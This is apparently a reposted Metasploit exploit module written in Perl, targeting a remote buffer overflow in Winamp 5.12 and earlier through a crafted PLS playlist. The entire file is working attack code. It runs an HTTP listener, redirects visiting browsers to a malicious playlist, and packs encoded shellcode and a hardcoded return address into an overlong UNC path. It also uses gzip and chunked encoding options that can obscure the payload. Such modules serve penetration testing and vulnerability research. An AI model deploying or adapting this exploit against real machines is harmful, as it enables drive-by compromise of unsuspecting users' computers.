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Winamp <= 5.12 (Crafted PLS) Remote Buffer Overflow Expl (meta)
================================================================== Winamp <= 5.12 (Crafted PLS) Remote Buffer Overflow Exploit (meta) ================================================================== ## # This file is part of the Metasploit Framework and may be redistributed # according to the licenses defined in the Authors field below. In the # case of an unknown or missing license, this file defaults to the same # license as the core Framework (dual GPLv2 and Artistic). The latest # version of the Framework can always be obtained from metasploit.com. ## package Msf::Exploit::winamp_playlist_unc; use strict; use base "Msf::Exploit"; use Pex::Text; use IO::Socket::INET; use IPC::Open3; my $advanced = { 'Gzip' => [1, 'Enable gzip content encoding'], 'Chunked' => [1, 'Enable chunked transfer encoding'], 'Humor' => [0, 'Enable humorous song names'], }; my $info = { 'Name' => 'Winamp Playlist UNC Path Computer Name Overflow', 'Version' => '$Revision: 1.3 $', 'Authors' => [ 'H D Moore <hdm [at] metasploit.com', 'Faithless <rhyskidd [at] gmail.com>', ], 'Description' => Pex::Text::Freeform(qq{ This module exploits a vulnerability in the Winamp media player. This flaw is triggered when a audio file path is specified, inside a playlist, that consists of a UNC path with a long computer name. This module delivers the playlist via the browser. }), 'Arch' => [ 'x86' ], 'OS' => [ 'win32', 'winxp', 'win2003' ], 'Priv' => 0, 'AutoOpts' => { 'EXITFUNC' => 'process' }, 'UserOpts' => { 'HTTPPORT' => [ 1, 'PORT', 'The local HTTP listener port', 8080 ], 'HTTPHOST' => [ 0, 'HOST', 'The local HTTP listener host', "0.0.0.0" ], 'REALHOST' => [ 0, 'HOST', 'External address to use for redirects (NAT)' ], }, 'Payload' => { 'Space' => 526, 'BadChars' => "\x00\x5c\x2f\x0a\x0d\x20", 'Keys' => ['-bind'], # Landing on \x5c\x5c trashes esp, restore from ecx 'PrependEncoder' => "\x87\xe1", # Disable nop sleds completely (dont modify ecx) 'MinNops' => 0, 'MaxNops' => 0, }, 'Refs' => [ ['BID', '16410'], ['URL', 'http://milw0rm.com/id.php?id=1458/'], ['URL', 'http://secunia.com/advisories/18649/'], ], 'DefaultTarget' => 0, 'Targets' => [ # Return to exe, 0x0d is replaced by 0x00 >:-) [ 'Winamp 5.12 Universal', 0x0d45fece ] ], 'Keys' => [ 'winamp' ], 'DisclosureDate' => 'Jan 29 2006', }; sub new { my $class = shift; my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_); return($self); } sub Exploit { my $self = shift; my $server = IO::Socket::INET->new( LocalHost => $self->GetVar('HTTPHOST'), LocalPort => $self->GetVar('HTTPPORT'), ReuseAddr => 1, Listen => 1, Proto => 'tcp' ); my $client; # Did the listener create fail? if (not defined($server)) { $self->PrintLine("[-] Failed to create local HTTP listener on " . $self->GetVar('HTTPPORT')); return; } my $httphost = $self->GetVar('HTTPHOST'); $httphost = Pex::Utils::SourceIP('1.2.3.4') if $httphost eq '0.0.0.0'; $self->PrintLine("[*] Waiting for connections to http://". $httphost .":". $self->GetVar('HTTPPORT') ."/"); while (defined($client = $server->accept())) { $self->HandleHttpClient(Msf::Socket::Tcp->new_from_socket($client)); } return; } sub HandleHttpClient { my $self = shift; my $fd = shift; # Set the remote host information my ($rport, $rhost) = ($fd->PeerPort, $fd->PeerAddr); # Read the HTTP command my ($cmd, $url, $proto) = split / /, $fd->RecvLine(10); # Read the HTTP headers my $headers; while ( (my $line = $fd->RecvLine(10))) { $headers .= $line; last if $line eq "\r\n"; } if ($url !~ /\.pls/i) { $self->PrintLine("[*] HTTP Client connected from $rhost:$rport, redirecting..."); my $content = "<html><script>". "document.location='".RandomPath().".pls'". "</script><body>". "One second please...</body></html>"; $fd->Send($self->BuildResponse($content)); $fd->Close; return; } my $target_idx = $self->GetVar('TARGET'); my $target = $self->Targets->[$target_idx]; my $shellcode = $self->GetVar('EncodedPayload')->Payload; my $name = Pex::Text::AlphaNumText(int(rand(32)+1)); my $file = Pex::Text::AlphaNumText(1026); substr($file, 1022, 4, pack('V', $target->[1])); substr($file, 0, length($shellcode), $shellcode); # Too many and it takes too long to load... my $pcnt = int(rand(10)+10); my $play = "[playlist]\r\n". $self->RandomNames($pcnt). "File". ($pcnt+1). "=\\\\$file\r\n" . "Title". ($pcnt+1). "=$name\r\n". "Length". ($pcnt+1). "=".sprintf("%x",rand(1024)+1)."\r\n". "NumberOfEntries=".($pcnt+1)."\r\n". "Version=2\r\n"; $self->PrintLine("[*] HTTP Client connected from $rhost:$rport, sending ".length($shellcode)." bytes of payload..."); $fd->Send($self->BuildResponse($play, "audio/x-scpls")); # Prevents IE from throwing an error in some cases select(undef, undef, undef, 0.1); $fd->Close(); } sub RandomPath { my $self = shift; my $path; while (length($path) < 32) { $path .= "/" . Pex::Text::AlphaNumText(int(rand(30) + 5)); } return $path; } sub RandomNames { my $self = shift; return $self->RandomNamesFun(@_) if $self->GetVar('Humor'); my $scnt = shift; my $ppad = ''; for my $idx (1..$scnt) { my $pname = Pex::Text::AlphaNumText(int(rand(32)+1)); my $pfile = Pex::Text::AlphaNumText(int(rand(32)+1)).".mp3"; $ppad .= "File". ($idx). "=".$pfile."\r\n" . "Title". ($idx). "=".$pname."\r\n". "Length". ($idx). "=".sprintf("%x",rand(1024)+1)."\r\n"; } return $ppad; } sub BuildResponse { my ($self, $content, $ctype) = @_; $ctype ||= "text/html"; my $response = "HTTP/1.1 200 OK\r\n" . "Content-Type: $ctype\r\n"; if ($self->GetVar('Gzip')) { $response .= "Content-Encoding: gzip\r\n"; $content = $self->Gzip($content); } if ($self->GetVar('Chunked')) { $response .= "Transfer-Encoding: chunked\r\n"; $content = $self->Chunk($content); } else { $response .= 'Content-Length: ' . length($content) . "\r\n" . "Connection: close\r\n"; } $response .= "\r\n" . $content; return $response; } sub Chunk { my ($self, $content) = @_; my $chunked; while (length($content)) { my $chunk = substr($content, 0, int(rand(10) + 1), ''); $chunked .= sprintf('%x', length($chunk)) . "\r\n$chunk\r\n"; } $chunked .= "0\r\n\r\n"; return $chunked; } sub Gzip { my $self = shift; my $data = shift; my $comp = int(rand(5))+10; my($wtr, $rdr, $err); my $pid = open3($wtr, $rdr, $err, 'gzip', '-'.$comp, '-c', '--force'); print $wtr $data; close ($wtr); local $/; return (<$rdr>); } sub RandomNamesFun { my $self = shift; my $scnt = shift; my @ffun = ( "Angelina vs Rosie O - Butter Time", "Richards Gerbil Adventure", "Elton John Bachelor Party", "Paris Hilton Greased Chihuahua", "OH MY GOD", "SOMEONE IS OWNING", "MY WINAMP!", ); my $ppad = ''; for my $idx (1..$scnt) { my $pname = $ffun[ $idx % scalar(@ffun) ]; $ppad .= "File". ($idx). "=".$pname."\r\n" . "Title". ($idx). "=".$pname."\r\n". "Length". ($idx). "=".sprintf("%x",rand(1024)+1)."\r\n"; } return $ppad; } 1; # 0day.today [2024-09-28] #